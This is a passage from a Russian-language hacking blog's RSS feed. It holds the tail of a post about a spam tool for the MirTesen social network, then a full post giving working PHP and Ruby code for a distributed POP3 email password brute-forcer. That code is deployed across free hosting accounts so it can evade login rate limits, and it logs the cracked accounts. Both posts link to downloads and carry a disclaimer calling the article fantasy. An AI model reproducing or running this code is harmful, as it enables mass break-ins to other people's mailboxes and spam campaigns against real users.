<p>$ptype &#8211; тип составления списка id:</p>
<ul>
<li>random &#8211; случайно</li>
<li>params &#8211; по параметрам</li>
<li>list &#8211; по порядку</li>
</ul>
<p>$wtype &#8211; тип действия:</p>
<ul>
<li>add &#8211; выслать инвайт на дружбу</li>
<li>msg &#8211; отправить сообщение</li>
<li>all &#8211; оправить сообщение и инвайт</li>
</ul>
<p>$test_login и $test_pass &#8211; логин и пароль акка для набора id.</p>
<p>$params &#8211; здесь пишутся параметры для списка id, если список составляется по параметрам ($ptype=&#8221;params&#8221;).</p>
<p>$count &#8211; количество отсылаемых сообщений и количество id при составлении списка</p>
<p>$msgtext &#8211; текст сообщения</p>
<p>Ну вот и все, пользуйтесь но не переусердствуйте, иначе спамер в скором времени может оказатся неработоспособным.</p>
<p>Скачать спамер можно <a href="http://sharingmatrix.com/file/10668961/mirtesen-spamer.tar" target="_blank">здесь</a>, как установить и запустить ruby читаем <a href="http://blog.lukmus.ru/?p=57" target="_blank">здесь</a>.</p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/03/spamim-mirtesen/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>распределенный POP3-брутфорс или брут мыл через фрихосты</title>
		<link>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/</link>
		<comments>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 01:55:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[freehost]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[бесплатный хостинг]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=86</guid>
		<description><![CDATA[Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть. Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и [...]]]></description>
			<content:encoded><![CDATA[<p>Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть.</p>
<p>Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и главное быстро перебирать пароли к ящикам.<br />
Моя первоначальная идея состояла в организации злой бот-сети из фрихостов, но об этом я расскажу в другой статье, пока лишь ограничимся одной функцией бота &#8211; попытка авторизации на POP3-сервере.<span id="more-86"></span></p>
<p>Итак, для начала нам нужен какой-нибудь бесплатный хостинг с поддержкой PHP5, версия должна быть именно пятая, в противном случае придется немного переписать серверные скрипты.<br />
Допустим вы нашли фрихостинг, коих сейчас немерянно, и можно приступать к самому приложению, которое будет представляеть из себя многопоточный брутфорс списка мыл на популярные пароли. Если кому-то нужно иначе, клиентскую часть легко переписать на свой лад.</p>
<p>Брутфорс будет состоять из 2-х частей:</p>
<ol>
<li>серверная &#8211; PHP-скрипты, которые будут по запросу клиента пытатся авторизоватся с заданным логином и паролем</li>
<li>клиентская &#8211; Ruby-скрипты, которые будут давать запрос, с указанием логина и пароля, по которым необходимо авторизоватся</li>
</ol>
<p><strong>Сервер (PHP-скрипты).</strong></p>
<p>Сервер будет состоять из 3-х файлов:</p>
<ol>
<li>библиотека &#8211; lib.php</li>
<li>конфигурация &#8211; config.php</li>
<li>сам скрипт авторизации &#8211; brut.php</li>
</ol>
<p>В библиотеки lib.php содержится класс Email, который через функцию fsockopen() будет общатся с POP3-сервером. Взят именно такой принцип, а не скажем уже готовая mail() т.к. на более-менее нормальных хостингах подобные штуки отключены, запрещены и являются признаком преступления против человечества.</p>
<p>Итак, сам lib.php:</p>
<blockquote><p>&lt;?php<br />
class Email {<br />
var $server;<br />
var $full_addr;<br />
var $login;<br />
const SOCK_ERR=-3;<br />
const FST_GET_ERR=-2;<br />
const LOGIN_ERR=-1;<br />
const INCCORECT_PASS=0;<br />
const SUCC=1;</p>
<p>function __construct($addr)<br />
{$this-&gt;full_addr=$addr;<br />
$this-&gt;set_serv();<br />
$this-&gt;set_login(); }</p>
<p>private function set_serv ()<br />
{$strpos=strpos($this-&gt;full_addr,&#8217;@');<br />
$this-&gt;server=&#8221;pop.&#8221; . substr($this-&gt;full_addr,$strpos+1,strlen($this-&gt;full_addr)-$strpos); }</p>
<p>private function set_login ()<br />
{$this-&gt;login=substr($this-&gt;full_addr,0,strpos($this-&gt;full_addr,&#8217;@')); }</p>
<p>public function try_auth ($pass)<br />
{ $pop_conn = fsockopen($this-&gt;server, 110,$errno, $errstr, 10);<br />
if (!(is_resource($pop_conn))) return -3;</p>
<p>$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -2;</p>
<p>fputs($pop_conn,&#8221;USER $this-&gt;login\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -1;</p>
<p>fputs($pop_conn,&#8221;PASS $pass\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))return 0;</p>
<p>fclose($pop_conn);<br />
return 1;<br />
}<br />
}<br />
?&gt;</p></blockquote>
<p>Далее файл config.php, он не отличается сложностью и представляет из себя 2 переменные хранящие логин и пароль админа брутфорса, мы же хотим единолично пользоватся нашим брутом.</p>
<blockquote><p>&lt;?php<br />
$login=&#8221;root&#8221;;<br />
$pass=&#8221;jvgfdhg6hj&#8221;;<br />
?&gt;</p></blockquote>
<p>Теперь перейдем к brut.php, который и будет промежуточным звеном между нашей клиентской частью и POP3-сервером.</p>
<blockquote><p>&lt;?php<br />
include &#8216;lib.php&#8217;;<br />
include &#8216;config.php&#8217;;</p>
<p>if (!isset($_POST['login']) || $_POST['login']!=$login) die();<br />
if (!isset($_POST['pass']) || $_POST['pass']!=$pass) die();<br />
if (!(isset($_POST['op_addr'])) || !(isset($_POST['op_pass']))) die();</p>
<p>$email= new Email($_POST['op_addr']);<br />
echo &#8216;&lt;ans&gt;&#8217;.$email-&gt;try_auth($_POST['op_pass']).&#8217;&lt;/ans&gt;&#8217;;<br />
?&gt;</p></blockquote>
<p>brut.php тоже не является верхом сложности программирования на PHP: сначала мы проверяем логин и пароль админа, затем смотрим присутствуют ли адрес почты и предполагаемый пароль к ней, и в случае если все ништяк пробуем авторизоватся, посредством заранее написанного класса. В конце мы выводим числовой ответ. Тот кому нужны точные ответы  посмотрит lib.php, а я же скажу что 0 &#8211; пароль не подошел, 1 &#8211; пароль подошел.</p>
<p>На этом с серверной частью закончили, теперь берем эти 3 файла и заливаем на все фрихосты, где удалось зарегать.</p>
<p><strong>Клиент (Ruby-скрипты).</strong></p>
<p>Клиентская часть состоит из 2-х скриптов:</p>
<ol>
<li>config.rb &#8211; файл конфигурации</li>
<li>main.rb &#8211; собственно сам клиент</li>
</ol>
<p>Сначала рассмотрим кофиг. Представляет он из себя следующее:</p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>$servers=['lukmus.ru','second.server.ru','third.server.ru','etc.freehost.com']<br />
$path=&#8217;/mailbrut/brut.php&#8217;</p>
<p>$login=&#8221;root&#8221;<br />
$pass=&#8221;jvgfdhg6hj&#8221;</p>
<p>$th_count=3</p>
<p>$fl_addrs=&#8221;mail_list&#8221;<br />
$fl_log=&#8221;mailbrut.log&#8221;<br />
$fl_good=&#8221;good_accs&#8221;</p>
<p>$passes=['pass','qwerty','123456','12345','etc...']</p></blockquote>
<p>Теперь разберемся в нем:</p>
<ul>
<li>$servers &#8211; здесь пишем наши фризосты</li>
<li>$path &#8211; путь на фрихостинге до нашей серверной части, на всех сайтах должен быть один и тот же</li>
<li>$login и $pass &#8211; пароль админа брута, должен совпадать с указанными в config.php в серверной части</li>
<li>$th_count &#8211; количество потоков брутфорса, он же у нас многопоточный</li>
<li>$fl_addrs &#8211; файл, записаны почтовые адреса которые мы брутим. Каждая запись должна начинатся с новой строки.</li>
<li>$fl_log &#8211; лог, сюда пишутся все ошибки</li>
<li>$fl_good &#8211; здесь будут сохранятся удачно сбрученные почтовые акки в виде login:pass</li>
<li>$passes &#8211; записываем пароли, на которые брутим</li>
</ul>
<p>А теперь рассмотрим сам скрипт, который будет выдавать запросы нашим хостингам.</p>
<p>main.rb:</p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;config.rb&#8217;</p>
<p>class WEB_Server<br />
def initialize (servers)<br />
@servers=servers<br />
@i=0<br />
end#def<br />
def next_s<br />
server=@servers[@i]<br />
@i+=1<br />
if @i&gt;=@servers.size then @i=0 end<br />
return server<br />
end#def<br />
end#class</p>
<p>def log(logfl,msg)<br />
mess=&#8221;#{Time.now} &lt;-&gt; #{msg}&#8221;<br />
logf=File.new(logfl,&#8217;a')<br />
logf.puts mess<br />
logf.close<br />
puts mess<br />
end#def</p>
<p>puts &#8220;Lukmus PHP-Ruby WebMailBrut starting&#8230;&#8221;</p>
<p>servers=WEB_Server.new($servers)<br />
accs=File.new($fl_addrs,&#8217;r')<br />
while !accs.eof do<br />
op_addr=accs.gets.chop<br />
while Thread.list.size&gt;$th_count do sleep(1) end<br />
th=Thread.new(op_addr) do |p_addr|<br />
$passes.each do |p_pass|<br />
serv=servers.next_s<br />
http = Net::HTTP.new(serv, 80)<br />
data = &#8220;login=#{$login}&amp;pass=#{$pass}&amp;op_addr=#{p_addr}&amp;op_pass=#{p_pass}&#8221;<br />
headers = { &#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;}<br />
resp, data = http.post($path, data, headers)<br />
ans=data.split(&#8216;&lt;ans&gt;&#8217;)[1].split(&#8216;&lt;/ans&gt;&#8217;)[0]<br />
case ans<br />
when &#8216;-3&#8242;<br />
log($fl_log,&#8221;ERR #3 Can&#8217;t open socket &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-2&#8242;<br />
log($fl_log,&#8221;ERR #2 Can&#8217;t connect to server &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-1&#8242;<br />
log($fl_log,&#8221;ERR #1 Can&#8217;t input login &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8217;0&#8242;<br />
puts &#8220;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; invalid pass&#8221;<br />
when &#8217;1&#8242;<br />
log($fl_good,&#8221;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; SUCCESS&#8221;)<br />
break</p>
<p>end#case<br />
#http.close<br />
end#each<br />
end#thread<br />
end#while<br />
th.join</p></blockquote>
<p>Он работает по следующему принципу:</p>
<ul>
<li>ОСНОВНОЙ ПОТОК: открывает файл со списком адресов и берет первый</li>
<li>ОСНОВНОЙ ПОТОК: создает поток, который будет работать с этим адресом</li>
<li>ПОТОК: берет первый пароль из нашего списка</li>
<li>ПОТОК: берет первый хостинг и посылает запрос серверу на попытку авторизации</li>
<li>ПОТОК: далее берет следующий хостинг и следующий пароль и так далее</li>
<li>ОСНОВНОЙ ПОТОК: берет следующее мыло из списка и создает новый поток под него и так далее.</li>
</ul>
<p>В случае если поток находит правильный пароль, то поток самоуничтожается, тем самым пресекая бессмысленные попытки авторизации с оставшимися, заведомо ложными паролями.</p>
<p>Ну вот и все, как запустить скрипт Ruby можно прочитать <a href="http://blog.lukmus.ru/?p=57" target="_self">здесь</a>, а скачвть все это дело одним архивом можно <a href="http://sharingmatrix.com/file/9978975/php-ruby_webmailbrut.tar" target="_blank">здесь</a></p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
